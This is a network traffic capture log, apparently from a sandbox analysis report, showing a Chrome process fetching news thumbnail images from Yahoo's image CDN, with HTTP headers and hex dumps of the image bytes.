2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 91 8c 67 e1 1c 1e c0 01 da 97 e0 71 19 d1 60 d1 bd 45 d5 7a 80 5d ae 5d 2f d3 11 6f 69 85 01 c7 26 c5 4a cf 88 86 b1 cf c0 76 ee 3f 20 37 1f 20 71 55 a8 8b d1 9a 68 8d 51 7b d4 7a 81 fb 73 71 a2 8f d3 6a 51 f0 82 0a 5b 6d 40 13 f0 e0 fc 3d cf 3c d5 cb 13 f6 27 44 9d d2 fb d3 ed 1b 75 4c 7b b7 bc a2 73 6b d8 f3 52 62 1c 05 82 0e e4 9d b8 50 c8 1c 8e 2a 25 68 b6 29 13 37 bf 68 9b 06 af b1 c2 d2 77 fd 21 60 b9 d8 a2 3b ef 0d 94 9f 09 f0 b0 30 30 54 4f 96 73 8e 79 ef ce 29 5d b2 52 45 76 5e b9 f6 77 8c e3 77 56 34 1c 96 6e 51 df 6d 48 6d 2b 4b 8c 39 df 39 05 58 18 fa 79 d3 5e c1 1f da fc 12 3a b3 aa 9a 0f 5c 39 2e 64 6b 14 6b 5c d7 59 09 6a 44 1c 36 b2 e2 48 d8 b5 e4 f2 70 30 48 e7 1d 87 a0 a5 9c 3f 62 21 d1 aa 3a 7c 58 85 6f 7b 41 d9 e5 47 44 1f 77 7e 50 91 Data Ascii: gq`Ez]]/oi&Jv? 7 qUhQ{zsqjQ[m@=<'DuL{skRbP*%h)7hw!`;00TOsy)]REv^wwV4nQmHm+K99Xy^:\9.dkk\YjD6Hp0H?b!:\|Xo{AGDw~P
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 08 cb 98 39 1e 46 a5 15 38 16 ae 9b 69 fb 53 32 12 ca 3c 26 d7 c1 05 55 9f 3f f0 5f af 1a 67 43 42 d2 76 49 70 90 99 a8 8c fa 8e 30 48 ce 2b 0c 9b 47 49 e3 8b 5d 16 eb 5f 4d f4 cb 91 93 b2 0c 43 81 cf c0 05 2a 9b 23 e3 48 c9 fa bd d3 fd 3d 6b 5a a6 da a6 25 97 f9 2a 68 24 94 fe 5d ab 4c 32 59 53 85 26 72 6e bd d7 ea 82 eb f0 58 43 a1 e4 28 a7 9e 2b a1 8b b3 8f b3 d3 32 49 82 e7 75 79 4f be b3 95 9c f7 ad 90 31 39 01 bb 1c 95 63 e3 ab 11 4a 92 b2 66 c0 c4 eb 34 e4 4d 8c f6 d5 a4 e4 f3 c1 1e 94 cd 5a 1e 39 2c ea 4d 01 a8 ff 00 48 c6 61 c7 5e 0a 04 0e fd fe 86 b9 bb 10 66 bc 12 56 7d 0e f6 6c 99 60 63 4f 0f 77 7d 92 5c 03 3f 17 ad 72 e5 15 19 76 74 65 27 28 f4 4f 7b 43 47 b7 cc d0 33 b2 a6 c2 f6 2b 60 51 ef c5 51 99 2b e8 b3 5d 49 26 a4 7c 23 eb 1d 97 f4 37 Data Ascii: 9F8iS2<&U?_gCBvIp0H+GI]_MC#H=kZ%h$]L2YS&rnXC(+2IuyO19cJf4MZ9,MHa^fV}l`cOw}\?rvte'(O{CG3+`QQ+]I&\|#7
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: a5 a6 1c 27 2e ac 64 25 3e b8 a9 4e 53 ea c9 6f a2 fb a7 ba 5f 69 80 4d fa 5c a7 9c 94 ea 8a d6 b7 79 2a 3e 75 dc d5 f1 d1 f7 26 62 7b 32 42 77 e7 f4 75 b7 7c 89 af 78 8a f5 59 ad 92 d7 d7 8f 4c 95 b3 29 14 b9 fd 52 d3 f6 d4 6c b5 c7 4a ca 78 09 18 ff 00 0a cf 2c 78 62 fa 27 9f 2e c6 31 fa c7 2a 4b e8 61 88 61 25 5f 31 c7 e5 49 ce 30 ed 15 b3 43 b0 5d 6e f7 04 21 d5 a0 04 ab b0 c5 56 f7 f8 8b d3 0f 7e 9d 73 8f 19 c3 b0 7c 22 a6 3e 49 b2 7e 3b 31 fb be bb 9a d4 b5 32 ea 15 c2 b3 94 8c d5 f1 dc 93 ed 10 e0 3d b3 75 3d 0c e0 3c 54 91 f3 e2 ba 1a fe 53 34 0a a5 ae a4 bb 2c ac 6a 18 97 c4 87 1b 78 38 71 ca 49 aa b6 bc 8c b3 f4 c6 c1 af c4 67 76 85 6e 5b 5e 3f 84 5a 74 7e d2 38 35 e6 f6 53 93 3a 78 f2 70 e8 8c 87 77 5c 45 94 21 d5 10 3d 6b 17 d7 91 a5 6d 51 28 Data Ascii: '.d%>NSo_iM\y>u&b{2Bwu\|xYL)RlJx,xb'.1Kaa%_1I0C]n!V~s\|">I~;12=u=<TS4,jx8qIgvn[^?Zt~85S:xpw\E!=kmQ(
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 34 a7 59 f7 26 d6 9e c4 b5 ff 00 1a c9 1c 65 89 b3 21 d5 de da 7d 6f d0 f7 65 da dc 66 d6 eb 69 39 43 8b 69 59 56 3e fa d5 1c 16 32 9b 46 cd ec f3 ff 00 4a 65 9e d8 15 60 eb 55 8a 53 51 16 a2 a6 26 db 1b 0f 78 79 3c 85 a0 94 9c 77 39 19 3d f8 aa 33 ea bf 68 b2 39 a8 e0 53 a6 f5 7b ac 87 2e 56 e7 de 75 23 bf 89 b4 ff 00 03 5e 8f fa 5e 62 97 b0 7b 1f 4f 6a 1d 89 0b b4 b8 db c3 9f 11 0a 23 3f 76 71 47 f4 bc bf 92 b7 b2 4e 46 67 a8 ec b1 b2 32 e4 a1 b1 d9 21 5d bf 3a 9f e9 72 fc 91 f3 86 6d de a6 a7 19 72 57 fb 47 fc 69 5f 8a 60 b6 68 5a 5d f3 a8 4d c4 2d 3e 89 27 1d 8a 8d 27 f4 a9 0d f3 a1 b4 09 7d 42 70 a0 a4 49 40 57 a1 ed 43 f1 8e 21 f6 0b 44 18 da 91 29 4c 87 dc 52 56 7b 92 3b d2 4b 46 71 41 f3 8b 4a 46 af 73 2e 5b 5d 71 6e 9e 13 83 cd 52 b4 64 ff 00 04 Data Ascii: 4Y&e!}oefi9CiYV>2FJe`USQ&xy<w9=3h9S{.Vu#^^b{Oj#?vqGNFg2!]:rmrWGi_`hZ]M->''}BpI@WC!D)LRV{;KFqAJFs.[]qnRd
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 74 ae a8 d6 d7 4b fd b5 ad 33 6f 4a af d6 69 4c ce 4c 97 56 a4 30 c3 68 58 c3 8b 5a 70 47 a0 03 24 f6 c1 1b aa 28 b0 fa 41 d1 af 68 9d 3d d5 48 6f 43 99 0c d9 f5 1d ad 7e ed 77 b5 3a fa 56 a8 ef 8c 8c a1 5c 78 8d ab 04 a5 60 60 8c f9 83 45 03 8d 1a ca 66 47 71 21 61 d0 41 f9 d1 68 5e 0d 14 ae a1 f4 67 a7 1d 54 60 7f 4b f4 fb 4f cc 6d 1b 18 b8 47 5a e3 ca 68 79 00 eb 65 2b 29 07 9d a4 94 fc a8 4c ad aa 3e 5c fb 65 74 1f ae 1d 28 bc bc f4 e7 ae 97 5d 07 e2 95 44 bb 49 9a 87 90 95 95 7c 28 79 58 49 42 ce e0 00 52 46 4e 42 4a b0 55 5d 5d 46 9a f6 66 9a 67 24 c8 98 fb 2e 94 ad 29 25 3e 84 28 7e 23 8a d9 c6 df 45 4f a1 9d db 52 11 1b 0e b0 54 ac 77 aa f3 43 89 31 1a 74 cb a9 da 9b a5 d7 e6 35 0e 95 96 58 97 1d 5b 92 77 70 af 91 1e 62 b3 70 b4 5c 99 af 75 4f db Data Ascii: tK3oJiLLV0hXZpG$(Ah=HoC~w:V\x``EfGq!aAh^gT`KOmGZhye+)L>\et(]DI\|(yXIBRFNBJU]]Ffg$.)%>(~#EORTwC1t5X[wpbp\uO
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 45 20 b1 00 78 c1 a9 e0 d8 34 78 8c e7 92 6a 78 b1 6c 54 2d 23 9c d1 c5 92 28 85 27 b6 7b 54 d4 88 a4 2e 08 23 b5 35 31 5b 2c 3a 53 45 43 d6 57 06 ad 0f 5e 1d b7 c8 7f 96 16 23 b6 ea 1c 23 ba 0a 54 ea 09 27 81 f0 ee 20 90 31 f1 0a e7 ee 4b 8a 35 eb c5 b3 e8 6f b1 17 b1 2e 9d 8c ec 3d 77 aa a4 33 32 0b 21 b9 31 a1 aa 29 6c c8 70 15 14 b8 e3 b9 c3 ad 6d 50 c0 6c 96 d6 72 72 a4 e2 b8 12 9b 3a 29 51 f4 0e 7d ca 0e 9f 84 81 e1 21 b6 5b 48 43 4d 23 09 00 0f f9 15 43 1d 44 8a 77 5f 42 d8 0b 2d 64 fa 64 52 58 46 1c 9d 10 33 ba 94 e4 5b 92 5b 4b ad 14 63 2a 4e 71 9a 94 5b f5 ef d1 21 6e ea 4c 12 d2 d8 7a 39 2f 36 bd 89 46 ff 00 2f 2e 71 53 62 bd 76 8b 19 d4 50 7d d9 32 94 76 a7 70 4a c1 3f 67 3f f3 f8 d2 59 1f 1b 44 4e a2 85 a1 35 43 41 bd 4d 62 b6 dd 19 0e 16 89 Data Ascii: E x4xjxlT-#('{T.#51[,:SECW^##T' 1K5o.=w32!1)lpmPlrr:)Q}![HCM#CDw_B-ddRXF3[[Kc*Nq[!nLz9/6F/.qSbvP}2vpJ?g?YDN5CAMb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.4	49951	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	518	OUT	GET /uu/api/res/1.2/hpeiTT5J5gj5Yh1JVbkktg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/fox_news_text_979/40045cfcc7eb21abc7dac4d9fffd740d.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	1292	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 309687576166170115390489939514272465343,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="40045cfcc7eb21abc7dac4d9fffd740d.webp" Edge-Cache-Tag: 309687576166170115390489939514272465343,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "dc2dc54bf14403e079610cf4ea39a6b1" Last-Modified: Sat, 27 Apr 2024 22:18:57 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=24376,owidth=1280,oheight=720,obytes=136190,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: f65f436181efe580960c5591da186956 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:20:09 GMT X-Served-By: cache-iad-kiad7000080-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1714256410.682858,VS0,VE1 Age: 1310 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: f65f436181efe580960c5591da186956 cld_by: cache-iad-kiad7000080-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 58074 ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 1c 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 0c 6c 63 6d 73 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 dc 00 01 00 19 00 03 00 29 00 39 61 63 73 70 41 50 50 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 6c 63 6d 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 64 65 73 63 00 00 00 fc 00 00 00 5e 63 70 72 74 00 00 01 5c 00 00 00 0b 77 74 70 74 00 00 01 68 00 00 00 14 62 6b 70 74 00 00 01 7c 00 00 00 14 72 58 59 5a 00 00 01 90 00 00 00 14 67 58 59 5a 00 00 01 a4 00 00 00 14 62 58 59 5a 00 00 01 b8 00 00 00 14 72 Data Ascii: JFIFICC_PROFILElcmsmntrRGB XYZ )9acspAPPL-lcmsdesc^cprt\wtpthbkpt\|rXYZgXYZbXYZr
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 75 0c 32 b7 dc 38 4a 01 51 ff 00 4f ad 12 29 b5 64 18 36 6b 8a a3 37 79 be b1 e2 2a 49 df 82 32 1b cf 90 a6 26 2c f6 f7 60 5c fb 63 ec c2 8c b7 9d db 94 a1 1c 95 1f 21 46 8a b4 53 ed 6b fb dc 7b 42 b4 da 19 54 36 e3 ad 48 90 ca 93 83 bc 1c 1f e9 5d 4c 60 1f a0 c4 fb 23 fa d3 49 2e 72 e7 47 5b b0 b7 38 db 6a 38 52 54 31 91 81 c9 e2 b6 c5 7d 88 65 33 36 db 34 48 25 84 a8 7a ed 38 ae 9a cb b5 45 59 a9 bb 6c b4 64 ad a2 09 f3 27 39 a4 cb 25 10 bd 3a 43 a8 ec 10 74 8d ce 05 ea 2c 77 0a 37 78 cb 71 3c 96 d6 08 57 e9 49 96 49 56 8d 3a 02 ca db 77 93 a8 6d 1b cd ba 39 52 e3 ad e3 f3 63 ca b9 b9 39 2a 89 68 b4 11 a0 2c 57 c9 8c 5f a7 48 71 6b 41 2b 4a 12 ae 09 27 3c fd 2b cf 3e 60 47 08 8a 5c 04 29 b8 ca da 95 0c 62 b1 de c8 73 bf da 52 d6 e1 d5 16 9b 83 ad ef 43 Data Ascii: u28JQO)d6k7yI2&,`\c!FSk{BT6H]L`#I.rG[8j8RT1}e364H%z8EYld'9%:Ct,w7xq<WIIV:wm9Rc9h,W_HqkA+J'<+>`G\)bsRC
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 2e df 70 6e 44 39 0b 69 69 f3 49 c6 7e b5 a9 fa 13 32 d1 85 a7 2d 1a d2 d6 26 49 ca 65 79 96 fe 5a c4 f2 5f a1 76 44 d3 da 09 e8 33 be 22 e0 96 92 90 92 91 85 67 bd 0c b2 18 56 33 4e b3 69 b8 de 1b 13 2d ed f8 88 56 ed e1 38 2b fa d2 27 92 d0 b6 c9 56 8b 9c 07 94 62 c4 42 5b 69 bc 6d 4a 46 00 ce 7b 0f c2 b9 ed b6 fd 91 31 aa cc e2 9a 75 5b 0e 3b 7f 7a c7 ce e9 96 a5 61 85 cc 75 cc 78 47 38 ef 59 3f 35 02 db 12 3a 83 67 5e a4 b5 49 83 31 21 45 2d a9 4d a8 8e 50 af 50 7c 8d 77 7c 6e 57 f6 11 5d f4 d3 5d b5 a1 2d cf 69 bb 9c 15 ac 89 0a 71 e5 64 15 15 1f 63 df b5 68 ca c7 f9 3b 21 70 69 cd 6f a7 f5 38 5c 6b 5c 9c be c6 77 34 b1 85 63 d7 15 c9 c8 c5 71 f4 40 bb e9 2a c0 f3 f4 ac 4d 51 76 6b 21 d4 7d cf 3e f4 12 65 a2 42 1f 7c f9 e2 97 f7 61 a2 a1 eb b7 4e 9f Data Ascii: .pnD9iiI~2-&IeyZ_vD3"gV3Ni-V8+'VbB[imJF{1u[;zauxG8Y?5:g^I1!E-MPP\|w\|nW]]-iqdch;!pio8\k\w4cq@*MQvk!}>eB\|aN
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 4b 80 b8 33 83 80 79 1f d6 b5 34 2a 48 b8 7a 7e 98 2b 6c b5 6b 61 4a 8a 32 e3 85 3c e0 79 7e 24 f0 3d 73 5c 87 17 f9 a8 44 bd 09 d7 6d 5a cd 9f 5d ca 11 e4 a8 c3 90 30 42 f9 2d 13 e4 47 ad 6f 58 97 ec c7 f2 36 14 4b 17 0b c6 d9 cd ef 4c 57 c6 e6 d6 b4 94 87 c7 aa 3d 40 39 15 9f 23 15 45 06 b9 af d8 cd a7 ac b1 ad 8e 26 7a d8 57 cf 8d e7 39 ce 2b 8c da 1e 9d a1 a5 33 a3 38 08 8c de 3f 9a b9 3c cc b4 c3 16 f6 d0 1a 24 8c e7 9a cc 82 41 21 a0 35 3d db c1 7a dd 62 9b 29 12 d5 b5 85 31 1d 4e 05 1f 4c 80 40 fc eb ad 8a 9a d8 c2 8a ea d7 49 b5 66 98 d4 05 57 8d 3f 2a 3b d3 08 21 0e b6 50 a2 a3 d8 6d 3c fe 75 dd e2 c8 4c 82 ae 9b 83 7a b0 6a 68 a8 8f 11 6c 4b 4b c9 49 42 8f 38 3c 1c 8f a6 68 32 69 a2 ba 9d 30 a1 98 45 3e c0 d7 9a 9b db 2d 2a 22 94 63 da 92 d8 69 Data Ascii: K3y4Hz~+lkaJ2<y~$=s\DmZ]0B-GoX6KLW=@9#E&zW9+38?<$A!5=zb)1NL@IfW?;!Pm<uLzjhlKKIB8<h2i0E>-*"ci
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 2b 49 49 ee 00 27 8a c3 e4 9e 8a 50 47 42 9b 80 43 ad 07 00 43 4e 60 67 be dc fb 57 90 6d d8 e8 84 7e 15 88 cf 28 30 bd c9 57 39 ac 1c e8 6a 54 1b b7 b4 e8 25 dc 61 24 76 3e 74 88 af 41 51 d3 5d 03 eb 9f 4c ba 7b a5 c5 8b a8 3a ba 2d 92 51 96 a3 1d 32 52 ac 38 82 38 03 00 e0 d7 a0 c5 8a b0 e8 50 fb 4a f5 2b 45 f5 33 5e c0 b6 e9 e9 51 ae d6 a6 ad aa 96 cd d6 22 49 29 7d 0b 23 c3 5a 8e 32 39 f6 c5 33 9d 3e 02 d2 29 a7 74 e5 a9 ab 8a 2f 0f da e3 99 c1 25 22 46 cf 9f f3 ae 6b ca 6c 25 00 8a 10 1c 20 63 bd 61 6c 16 8f 1f 8e 86 ca 40 e0 9c e6 a3 da 06 81 59 d8 7b 50 a6 5a 23 dd a0 5b 6f 30 54 c5 ce 03 32 50 9f ba 1c 4e 71 eb 8f d2 9f 06 ed 17 d8 a0 ba b3 a1 a5 d9 2e 5e 25 ae df 2d 56 b7 9b 0e 21 cc 15 b6 de 4f dd 07 d2 bd 5e 1c 95 10 57 d0 5a ee fd a5 5e 30 ad Data Ascii: +II'PGBCCN`gWm~(0W9jT%a$v>tAQ]L{:-Q2R88PJ+E3^Q"I)}#Z293>)t/%"Fkl% cal@Y{PZ#[o0T2PNq.^%-V!O^WZ^0
2024-04-27 22:41:59 UTC	437	IN	Data Raw: 51 bd 43 8e 68 ed 8c 87 db 9c 7d c2 93 9f ef 58 79 79 93 d0 c4 8c 1e be 41 b1 05 c9 b8 21 d6 e3 c6 4e e5 b9 b7 20 27 d6 ba 18 d8 dd b6 1a 42 3f 52 ba e9 09 52 ed 17 4d 37 68 b7 a9 85 b1 e1 ad 2e b6 17 fb d4 1c 15 e4 79 90 41 3e e6 bb 18 f8 d4 c2 a2 7e 91 ea c3 fa 96 e7 6f 89 70 85 05 a7 90 85 47 69 6c b7 b7 78 5a b7 60 8f 33 9f 3f a5 37 c9 41 38 85 15 45 83 29 32 25 13 91 cf f4 af 20 fd 86 67 6a 4c 77 25 a4 4b 94 88 ed 7f 13 8b e4 0a 16 03 f6 69 b8 ba d3 8f 7f c3 b9 b9 03 b2 b1 8a 8f 65 24 22 f5 2b 51 4a d3 7a 72 45 c2 dc d2 d6 f3 6e 21 a5 2d 24 04 20 ab 3b 79 3e b8 3f 95 77 71 3c 6f c8 56 6a f8 f6 05 e9 ee b6 56 a3 92 9b 4d d2 42 04 b7 10 4a 30 3b e0 12 7f b5 4c cc 2f 88 80 96 39 69 2a 2a 13 0c 42 98 d3 72 58 e7 2d b8 9c a7 9f 6a 46 26 67 d1 9f ad 1c bf Data Ascii: QCh}XyyA!N 'B?RRM7h.yA>~opGilxZ`3?7A8E)2% gjLw%Kie$"+QJzrEn!-$ ;y>?wq<oVjVMBJ0;L/9i**BrX-jF&g
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 53 6d c3 3f 2b 8c ab e6 05 27 f1 00 fd 2b 9d 96 9c 86 c5 51 6e c7 be 41 74 b8 96 a4 21 6b 67 78 71 29 56 76 a9 23 38 cd 73 16 25 b1 a2 fc 5e b8 e9 97 64 a2 22 a1 3c 97 16 a0 90 10 3d 4e 3d 3d e8 f9 fc 5b 4a c8 33 4d bd 42 62 53 69 33 5a 6d 4f ab 62 12 b3 82 b3 ec 3c fb d7 26 58 b4 3a 23 75 a5 f7 03 24 cb 38 ce 36 d6 19 2a 34 c0 94 fc 94 0d a5 95 64 9c e6 81 8e 46 a5 48 52 80 c8 cd 50 35 fd 1a 54 ee 7f 87 f5 a9 60 bd 98 17 31 ce 33 57 66 79 2b 44 27 9d 52 70 12 71 56 a5 42 64 a8 15 a9 2f 92 2c 9a 76 e5 75 65 a4 3e e4 68 cb 71 2d ab 8d c4 0f 5f 2f ca ba fe 36 2b 9d d3 17 47 1c bd ac 67 dc 35 5b d2 ed d3 5e 68 48 70 be 95 15 12 b4 11 c8 ef db 9e 6b da af 1b c3 f8 6c 74 11 d7 9a 29 3a a2 f9 d3 8b 4d e7 a8 d6 99 b6 63 77 4f c3 46 75 d4 6c 5c b2 47 c8 e0 49 f9 Data Ascii: Sm?+'+QnAt!kgxq)Vv#8s%^d"<=N==[J3MBbSi3ZmOb<&X:#u$86*4dFHRP5T`13Wfy+D'RpqVBd/,vue>hq-_/6+Gg5[^hHpklt):McwOFul\GI
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 9d bb 48 1c 6d 3c e3 bd 71 9e 6f d1 1a b3 6e 93 d3 96 db 12 5d 4d a5 87 1a 8e a5 ee 4a 5c 56 e5 1f a9 e2 8a 19 56 57 51 3f ab 7d 39 8f 76 6d bb cd be d6 11 28 95 07 c3 28 c8 74 9c 60 e3 ca b4 c7 2e 89 d4 ab ed dd 38 bd dc 75 0b 3a 76 e5 05 d8 de 2e 49 5a db 24 04 7f 31 ad 6b c9 a7 a0 7a 1e ea 0d 27 76 d1 77 74 b6 eb ce 29 b6 15 ff 00 0e fa 4f 03 db db fb d4 79 8a 64 51 2e 3e 97 e9 81 78 e9 96 b2 d6 f7 79 d2 7e 3d e7 1b b7 da be 6f dd 7c 4a 86 e7 1c 73 c8 80 30 3c bb d2 a2 fb 3b 43 62 ac 85 d3 fd 03 62 f1 25 48 d5 0d 38 ab 8c 67 63 3d 6c 72 3b 9b 90 9d a4 f8 a9 5a 71 c8 57 ca 7d b0 6b a3 91 ce 9a 18 b8 7e cd 9d 5d ea 35 b3 4b bc d5 bd a8 6c 4c 9c 5b f1 9b 75 40 15 34 ac e0 1c 7e 1e d5 8f 83 c6 fe 7d 96 95 16 6e 83 d6 eb d6 1a 6a 1d ed d4 02 b7 5a 49 51 0a Data Ascii: Hm<qon]MJ\VVWQ?}9vm((t`.8u:v.IZ$1kz'vwt)OydQ.>xy~=o\|Js0<;Cbb%H8gc=lr;ZqW}k~]5KlL[u@4~}njZIQ
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 76 11 2a cd 04 5c 1a 3c 29 6c 2f 21 27 d3 9e 6b 3c b2 68 24 42 d4 07 50 e8 21 f0 77 0b 59 61 72 76 38 3c 5f e3 42 4e 71 f4 39 e7 f0 ad 98 b9 51 6f 65 87 3a 61 a9 65 df ba a4 26 5a 6d 8d 41 62 62 57 e3 c6 6b ee 25 1b 31 c7 e5 59 7c bd 51 0e 8a 0e a4 7c ce ba 86 d0 3b a9 46 bc 72 8b ec 55 a2 93 fb 43 2d a5 c9 b7 3c cb c8 71 2a 69 48 05 27 de bd 7f 8c 8d 2d 80 d8 77 ec fb 6c 10 f4 a3 b7 67 22 ad 0b 96 f2 90 85 2b cd 09 f4 ac be 6b f7 00 e4 5a b1 de 4c 85 ec 49 ce 2b c8 56 cb 72 b1 6f aa dd 36 95 ad 34 cd ad 1a 75 93 26 5d bd c9 12 26 36 c2 d2 a7 92 55 b4 20 a9 39 c8 48 4a 72 38 f3 3f 5a f5 be 33 f7 20 1c 84 8e 8d 5a df d3 8d dc dd 32 50 e2 54 e0 6d 45 23 ee 91 9e 0f bd 57 93 74 a8 91 65 c4 c2 d2 e2 02 87 3b 85 79 17 63 96 cc 92 d3 0c f2 5c 4b 49 f3 52 8e 00 Data Ascii: v\<)l/!'k<h$BP!wYarv8<_BNq9Qoe:ae&ZmAbbWk%1Y\|Q\|;FrUC-<qiH'-wlg"+kZLI+Vro64u&]&6U 9HJr8?Z3 Z2PTmE#Wte;yc\KIR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	49950	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	517	OUT	GET /uu/api/res/1.2/2yghjbKRjDThM2qwTZX.zQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/04271874beb49d28a98b07ab57abeeca.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	1292	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 399571629113996710157346708764107397296,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="04271874beb49d28a98b07ab57abeeca.webp" Edge-Cache-Tag: 399571629113996710157346708764107397296,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "b2591d2700b802cad08c244c370296b5" Last-Modified: Sat, 27 Apr 2024 15:32:10 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=33262,owidth=960,oheight=540,obytes=120768,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: d319f5a6f2ba30475d7b8c444af690fd Accept-Ranges: bytes Date: Sat, 27 Apr 2024 16:35:56 GMT X-Served-By: cache-iad-kiad7000143-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714235757.740342,VS0,VE2 Age: 21963 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_id: d319f5a6f2ba30475d7b8c444af690fd cld_by: cache-iad-kiad7000143-IAD cld_latency: 2 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 69702 ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
